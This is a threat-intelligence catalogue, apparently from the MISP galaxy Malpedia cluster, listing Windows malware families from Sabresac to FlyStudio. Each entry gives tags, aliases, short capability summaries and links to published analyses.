- Sabresac

Table 2134. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.excalibur
https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies

MS Exchange Tool

The tag is: *misp-galaxy:malpedia="MS Exchange Tool"*

MS Exchange Tool is also known as:

Table 2135. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.exchange_tool
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://github.com/nccgroup/Royal_APT

Exile RAT

ExileRAT is a simple RAT platform capable of getting information on the system (computer name, username, listing drives, network adapter, process name), getting/pushing files and executing/terminating processes.

The tag is: *misp-galaxy:malpedia="Exile RAT"*

Exile RAT is also known as:

Table 2136. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.exilerat
https://blog.talosintelligence.com/2019/02/exilerat-shares-c2-with-luckycat.html

ExMatter

Exfiltration tool written in .NET, used by at least one BlackMatter ransomware operator.

The tag is: *misp-galaxy:malpedia="ExMatter"*

ExMatter is also known as:

Table 2137. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.exmatter
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration
https://www.kroll.com/en/insights/publications/cyber/analyzing-exmatter-ransomware-data-exfiltration-tool
https://twitter.com/knight0x07/status/1461787168037240834?s=20

Exorcist

Ransomware.

The tag is: *misp-galaxy:malpedia="Exorcist"*

Exorcist is also known as:

Table 2138. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.exorcist
https://medium.com/@velasco.l.n/exorcist-ransomware-from-triaging-to-deep-dive-5b7da4263d81

Expiro

Expiro malware has been around for more than a decade, and the malware authors sill continue their work and update it with more features. Also the infection routine was changed in samples fround in 2017 (described by McAfee). Expiro "infiltrates" executables on 32- and 64bit Windows OS versions. It has capabilities to install browser extensions, change security behaviour/settings on the infected system, and steal information (e.g. account credentials). There is a newly described EPO file infector source code called m0yv in 2022, which is wrongly identified as expiro by some AVs.

The tag is: *misp-galaxy:malpedia="Expiro"*

Expiro is also known as:

- Xpiro

Table 2139. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.expiro
https://www.welivesecurity.com/2013/07/30/versatile-and-infectious-win64expiro-is-a-cross-platform-file-infector/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/expiro-infects-encrypts-files-to-complicate-repair/
https://github.com/GiacomoFerro/malware-analysis/blob/master/report/report-malware.pdf
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Expiro

Xtreme RAT

The tag is: *misp-galaxy:malpedia="Xtreme RAT"*

Xtreme RAT is also known as:

- ExtRat

Table 2140. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.extreme_rat
https://citizenlab.ca/2015/12/packrat-report/
https://www.secureworks.com/research/threat-profiles/aluminum-saratoga

https://blogs.360.cn/post/APT-C-44.html
https://community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017
https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html
https://www.symantec.com/connect/blogs/colombians-major-target-email-campaigns-delivering-xtreme-rat
https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g
https://malware.lu/articles/2012/07/22/xtreme-rat-analysis.html
https://www2.slideshare.net/ChiEnAshleyShen/hitcon-2020-cti-village-threat-hunting-and-campaign-tracking-workshoppptx/1

Eye Pyramid

The tag is: *misp-galaxy:malpedia="Eye Pyramid"*

Eye Pyramid is also known as:

Table 2141. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eye_pyramid
http://blog.talosintel.com/2017/01/Eye-Pyramid.html
https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/

EYService

EYService is the main part of the backdoor used by Nazar APT. This a passive backdoor that relies on, now discontinued, Packet Sniffer SDK (PSSDK) from Microolap.

The tag is: *misp-galaxy:malpedia="EYService"*

EYService is also known as:

Table 2142. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eyservice
https://blog.malwarelab.pl/posts/nazar_eyservice_comm/
https://www.epicturla.com/blog/the-lost-nazar
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
https://blog.malwarelab.pl/posts/nazar_eyservice/
https://research.checkpoint.com/2020/nazar-spirits-of-the-past/

FakeRean

The tag is: *misp-galaxy:malpedia="FakeRean"*

FakeRean is also known as:

- Braviax

Table 2143. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean
https://0x3asecurity.wordpress.com/2015/11/30/134260124544/
https://www.exploit-db.com/docs/english/18387-malware-reverse-engineering-part-1---static-analysis.pdf
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/FakeRean#technicalDiv

FakeTC

The tag is: *misp-galaxy:malpedia="FakeTC"*

FakeTC is also known as:

Table 2144. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.faketc
http://www.welivesecurity.com/2015/07/30/operation-potao-express/
https://www.welivesecurity.com/wp-content/uploads/2015/07/Operation-Potao-Express_final_v2.pdf

FakeWord

The tag is: *misp-galaxy:malpedia="FakeWord"*

FakeWord is also known as:

Table 2145. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fakeword
https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/

fancyfilter

FancyFilter is a piece of code that documents code overlap between frameworks used by Regin and Equation Group.

The tag is: *misp-galaxy:malpedia="fancyfilter"*

fancyfilter is also known as:

- 0xFancyFilter

Table 2146. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fancyfilter
https://www.epicturla.com/previous-works/hitb2020-voltron-sta

Fanny

The tag is: *misp-galaxy:malpedia="Fanny"*

Fanny is also known as:

- DEMENTIAWHEEL

Table 2147. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny
https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1
https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/
https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/
https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/

FantomCrypt

The tag is: *misp-galaxy:malpedia="FantomCrypt"*

FantomCrypt is also known as:

Table 2148. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fantomcrypt
https://www.webroot.com/blog/2016/08/29/fantom-ransomware-windows-update/

Farseer

The tag is: *misp-galaxy:malpedia="Farseer"*

Farseer is also known as:

Table 2149. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer
https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/
https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/
https://unit42.paloaltonetworks.com/farseer-previously-unknown-malware-family-bolsters-the-chinese-armoury/

FastLoader

FastLoader is a small .NET downloader, which name comes from PDB strings seen in samples. It typically downloads TrickBot. It may create a list of processes and uploads it together with screenshot(s). In more recent versions, it employs simple anti-analysis checks (VM detection) and comes with string obfuscations.

The tag is: *misp-galaxy:malpedia="FastLoader"*

FastLoader is also known as:

Table 2150. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fastloader

FastPOS

The tag is: *misp-galaxy:malpedia="FastPOS"*

FastPOS is also known as:

Table 2151. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos
https://www.justice.gov/opa/pr/malware-author-pleads-guilty-role-transnational-cybercrime-organization-responsible-more-568
https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-updates-in-time-for-retail-sale-season/
http://documents.trendmicro.com/assets/fastPOS-quick-and-easy-credit-card-theft.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-quick-and-easy-credit-card-theft/
http://documents.trendmicro.com/assets/Appendix%20-%20FastPOS%20Updates%20in%20Time%20for%20the%20Retail%20Sale%20Season.pdf

FatalRat

The tag is: *misp-galaxy:malpedia="FatalRat"*

FatalRat is also known as:

Table 2152. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fatal_rat
https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html
https://www.youtube.com/watch?v=gjvnVZc11Vg
https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html
https://cybersecurity.att.com/blogs/labs-research/new-sophisticated-rat-in-town-fatalrat-analysis

FatDuke

According to ESET Research, FatDuke is the current flagship backdoor of APT29 and is only deployed on the most interesting machines. It is generally dropped by the MiniDuke backdoor, but ESET also have seen the operators dropping FatDuke using lateral movement tools such as PsExec.The operators regularly repack this malware in order to evade detections. The most recent sample of FatDuke that ESET have seen was compiled on May 24, 2019. They have seen them trying to regain control of a machine multiple times in a few days, each time with a different sample. Their packer, described in a later section, adds a lot of code, leading to large binaries. While the effective code should not be larger than 1MB, ESET have seen one sample weighing in at 13MB, hence our name for this backdoor component: FatDuke.

The tag is: *misp-galaxy:malpedia="FatDuke"*

FatDuke is also known as:

Table 2153. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fatduke
https://www.secureworks.com/research/threat-profiles/iron-hemlock
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf

FCT

Ransomware.

The tag is: *misp-galaxy:malpedia="FCT"*

FCT is also known as:

Table 2154. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fct
https://id-ransomware.blogspot.com/2020/02/fct-ransomware.html

Felismus

The tag is: *misp-galaxy:malpedia="Felismus"*

Felismus is also known as:

Table 2155. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.felismus
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

Felixroot

The tag is: *misp-galaxy:malpedia="Felixroot"*

Felixroot is also known as:

Table 2156. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.felixroot
https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html
https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf

https://medium.com/@Sebdraven/when-a-malware-is-more-complex-than-the-paper-5822fc7ff257

fengine

The tag is: *misp-galaxy:malpedia="fengine"*

fengine is also known as:

Table 2157. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fengine
https://www.zscaler.jp/blogs/security-research/naver-ending-game-lazarus-apt

Feodo

Feodo (also known as Cridex or Bugat) is a Trojan used to commit e-banking fraud and to steal sensitive information from the victims computer, such as credit card details or credentials.

The tag is: *misp-galaxy:malpedia="Feodo"*

Feodo is also known as:

- Bugat
- Cridex

Table 2158. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo
https://feodotracker.abuse.ch/
http://www.sempersecurus.org/2012/08/cridex-analysis-using-volatility.html
https://en.wikipedia.org/wiki/Maksim_Yakubets
http://contagiodump.blogspot.com/2012/08/cridex-analysis-using-volatility-by.html
https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/

FFDroider

The tag is: *misp-galaxy:malpedia="FFDroider"*

FFDroider is also known as:

Table 2159. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ffdroider

https://thehackernews.com/2022/04/researchers-warn-of-ffdroider-and.html
https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users

Ficker Stealer

The tag is: *misp-galaxy:malpedia="Ficker Stealer"*

Ficker Stealer is also known as:

Table 2160. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fickerstealer
https://www.bleepingcomputer.com/news/security/fake-microsoft-store-spotify-sites-spread-info-stealing-malware/
https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon
https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf
https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus
https://blogs.blackberry.com/en/2021/08/threat-thursday-ficker-infostealer-malware
https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a
https://www.cyberark.com/resources/threat-research-blog/fickerstealer-a-new-rust-player-in-the-market
https://twitter.com/3xp0rtblog/status/1321209656774135810
https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf

FileIce

The tag is: *misp-galaxy:malpedia="FileIce"*

FileIce is also known as:

Table 2161. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fileice_ransom
https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/

Filerase

Filerase is a .net API-based utility capable of propagating and recursively deleting files.

The tag is: *misp-galaxy:malpedia="Filerase"*

Filerase is also known as:

Table 2162. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.filerase
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail

Final1stSpy

The tag is: *misp-galaxy:malpedia="Final1stSpy"*

Final1stSpy is also known as:

Table 2163. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.final1stspy
https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/

FindPOS

The tag is: *misp-galaxy:malpedia="FindPOS"*

FindPOS is also known as:

- Poseidon

Table 2164. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://blogs.cisco.com/security/talos/poseidon
https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/

FinFisher RAT

FinFisher is a commercial software used to steal information and spy on affected victims. It began with few functionalities which included password harvesting and information leakage, but now it is mostly known for its full Remote Access Trojan (RAT) capabilities. It is mostly known for being used in governmental targeted and lawful criminal investigations. It is well known for its anti-detection capabilities and use of VMProtect.

The tag is: *misp-galaxy:malpedia="FinFisher RAT"*

FinFisher RAT is also known as:

- FinSpy

Table 2165. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/
https://securelist.com/finspy-unseen-findings/104322/
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/
http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation
https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-3-fixing-the-function-related-issues
https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf
https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-2-first-attempt-at-devirtualization
https://www.msreverseengineering.com/blog/2018/2/21/finspy-vm-unpacking-tutorial-part-3-devirtualization
https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-4-second-attempt-at-devirtualization
https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html
https://www.msreverseengineering.com/blog/2018/2/21/wsbjxrs1jjw7qi4trk9t3qy6hr7dye
https://www.codeandsec.com/FinFisher-Malware-Analysis-Part-2
https://github.com/RolfRolles/FinSpyVM
https://www.binarly.io/posts/Design_issues_of_modern_EDR%E2%80%99s_bypassing_ETW-based_solutions/index.html

https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/
https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html
https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/
https://securelist.com/apt-trends-report-q2-2019/91897/

Fireball

The tag is: *misp-galaxy:malpedia="Fireball"*

Fireball is also known as:

Table 2166. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fireball
http://blog.checkpoint.com/2017/06/01/fireball-chinese-malware-250-million-infection/

FireBird RAT

The tag is: *misp-galaxy:malpedia="FireBird RAT"*

FireBird RAT is also known as:

Table 2167. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.firebird_rat
https://twitter.com/casual_malware/status/1237775601035096064

Fire Chili

The purpose of this rootkit/driver is hiding and protecting malicious artifacts from user-mode components(e.g. files, processes, registry keys and network connections). According to Fortguard Labs, this malware uses Direct Kernel Object Modification (DKOM), which involves undocumented kernel structures and objects, for its operations, why this malware has to rely on specific OS builds.

The tag is: *misp-galaxy:malpedia="Fire Chili"*

Fire Chili is also known as:

Table 2168. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.firechili
https://thehackernews.com/2022/04/chinese-hackers-target-vmware-horizon.html

https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits

FireCrypt

The tag is: *misp-galaxy:malpedia="FireCrypt"*

FireCrypt is also known as:

Table 2169. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.firecrypt
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/

FireMalv

The tag is: *misp-galaxy:malpedia="FireMalv"*

FireMalv is also known as:

Table 2170. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.firemalv
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf

FirstRansom

The tag is: *misp-galaxy:malpedia="FirstRansom"*

FirstRansom is also known as:

Table 2171. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.first_ransom
https://twitter.com/JaromirHorejsi/status/815949909648150528

FishMaster

A custom loader for CobaltStrike.

The tag is: *misp-galaxy:malpedia="FishMaster"*

FishMaster is also known as:

* JollyJellyfish

Table 2172. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fishmaster
https://media-exp1.licdn.com/dms/document/C561FAQHhWFRcWmdCPw/feedshare-document-pdf-analyzed/0/1639591145314?e=1658966400&v=beta&t=_uCcyEVg6b_VDiBTvWQIXtBOdQ1GQAAydqGyq62KA3E
https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass/

FiveHands

The tag is: *misp-galaxy:malpedia="FiveHands"*

FiveHands is also known as:

* Thieflock

Table 2173. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fivehands
https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a
https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126b
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue
https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire
https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-249a
https://www.bleepingcomputer.com/news/security/yanluowang-ransomware-operation-matures-with-experienced-affiliates/
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html

Flagpro

The tag is: *misp-galaxy:malpedia="Flagpro"*

Flagpro is also known as:

- BUSYICE

Table 2174. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flagpro
https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech
https://cyberandramen.net/2021/12/12/more-flagpro-more-problems/
https://vblocalhost.com/uploads/VB2021-50.pdf
https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf
https://insight-jp.nttsecurity.com/post/102h7vx/blacktechflagpro

Flame

The tag is: *misp-galaxy:malpedia="Flame"*

Flame is also known as:

- sKyWIper

Table 2175. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flame
https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache
https://www.crysys.hu/publications/files/skywiper.pdf
https://securelist.com/the-flame-questions-and-answers-51/34344/
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
https://storage.googleapis.com/chronicle-research/Flame%202.0%20Risen%20from%20the%20Ashes.pdf
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments

FLASHFLOOD

```
 FLASHFLOOD will scan inserted removable drives for targeted files, and copy those
files from the
removable drive to the FLASHFLOOD-infected system. FLASHFLOOD may also log or copy
additional data from the victim computer, such as system information
or contacts.
```

The tag is: *misp-galaxy:malpedia="FLASHFLOOD"*

FLASHFLOOD is also known as:

Table 2176. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flashflood
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf

FlawedAmmyy

FlawedAmmyy is a well-known Remote Access Tool (RAT) attributed to criminal gang TA505 and used to get the control of target machines. The name reminds the strong link with the leaked source code of Ammyy Admin from which it took the main structure.

The tag is: *misp-galaxy:malpedia="FlawedAmmyy"*

FlawedAmmyy is also known as:

Table 2177. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy
https://attack.mitre.org/software/S0381/
https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat
https://intel471.com/blog/a-brief-history-of-ta505
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf
https://threatrecon.nshc.net/2019/08/29/sectorj04-groups-increased-activity-in-2019/
https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do

https://www.proofpoint.com/us/threat-insight/post/ta505-begins-summer-campaigns-new-pet-malware-downloader-andromut-uae-south
https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat
https://www.secureworks.com/research/threat-profiles/gold-tahoe
https://secrary.com/ReversingMalware/AMMY_RAT_Downloader/
https://blog.trendmicro.com/trendlabs-security-intelligence/ta505-at-it-again-variety-is-the-spice-of-servhelper-and-flawedammyy/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505/
https://habr.com/ru/company/pt/blog/475328/
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.youtube.com/watch?v=N4f2e8Mygag
https://www.sans.org/reading-room/whitepapers/reverseengineeringmalware/unpacking-decrypting-flawedammyy-38930

FlawedGrace

According to ProofPoint, FlawedGrace is written in C++ and can be categorized as a Remote Access Trojan (RAT). It seems to have been developed in the second half of 2017 mainly.

FlawedGrace uses a series of commands: FlawedGrace also uses a series of commands, provided below for reference: * desktop_stat * destroy_os * target_download * target_module_load * target_module_load_external * target_module_unload * target_passwords * target_rdp * target_reboot * target_remove * target_script * target_servers * target_update * target_upload

The tag is: *misp-galaxy:malpedia="FlawedGrace"*

FlawedGrace is also known as:

- GraceWire

Table 2178. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf

https://twitter.com/MsftSecIntel/status/1273359829390655488
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://www.msreverseengineering.com/blog/2019/1/14/a-quick-solution-to-an-ugly-reverse-engineering-problem
https://www.proofpoint.com/us/blog/threat-insight/whatta-ta-ta505-ramps-activity-delivers-new-flawedgrace-variant
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505
https://intel471.com/blog/a-brief-history-of-ta505
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://research.nccgroup.com/2021/12/01/tracking-a-p2p-network-related-with-ta505/
https://www.secureworks.com/research/threat-profiles/gold-tahoe
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.msreverseengineering.com/blog/2021/3/2/an-exhaustively-analyzed-idb-for-flawedgrace

FlexiSpy (Windows)

The tag is: *misp-galaxy:malpedia="FlexiSpy (Windows)"*

FlexiSpy (Windows) is also known as:

Table 2179. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flexispy
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/

FlokiBot

The tag is: *misp-galaxy:malpedia="FlokiBot"*

FlokiBot is also known as:

Table 2180. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.floki_bot

http://adelmas.com/blog/flokibot.php
http://blog.talosintel.com/2016/12/flokibot-collab.html#more
https://www.arbornetworks.com/blog/asert/flokibot-flock-bots/
https://www.cylance.com/en_us/blog/threat-spotlight-flokibot-pos-malware.html
https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/
https://www.flashpoint-intel.com/blog/cybercrime/floki-bot-emerges-new-malware-kit/
https://www.flashpoint-intel.com/flokibot-curious-case-brazilian-connector/

FlowCloud

The tag is: *misp-galaxy:malpedia="FlowCloud"*

FlowCloud is also known as:

Table 2181. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flowcloud
https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-talonite/
https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new
https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape
https://www.proofpoint.com/us/blog/threat-insight/flowcloud-version-413-malware-analysis
https://nao-sec.org/2021/01/royal-road-redive.html

FlowerShop

The tag is: *misp-galaxy:malpedia="FlowerShop"*

FlowerShop is also known as:

Table 2182. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flowershop
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf

Floxif

The tag is: *misp-galaxy:malpedia="Floxif"*

Floxif is also known as:

Table 2183. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.floxif
https://www.mandiant.com/resources/pe-file-infecting-malware-ot
https://www.virusbulletin.com/virusbulletin/2012/12/compromised-library

Flusihoc

Available since 2015, Flusihoc is a versatile C++ malware capable of a variety of DDoS attacks as directed by a Command and Control server. Flusihoc communicates with its C2 via HTTP in plain text.

The tag is: *misp-galaxy:malpedia="Flusihoc"*

Flusihoc is also known as:

Table 2184. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flusihoc
https://www.arbornetworks.com/blog/asert/the-flusihoc-dynasty-a-long-standing-ddos-botnet/

FlyingDutchman

The tag is: *misp-galaxy:malpedia="FlyingDutchman"*

FlyingDutchman is also known as:

Table 2185. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flying_dutchman
https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/

FlyStudio

The tag is: *misp-galaxy:malpedia="FlyStudio"*

FlyStudio is also known as:

Table 2186. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flystudio

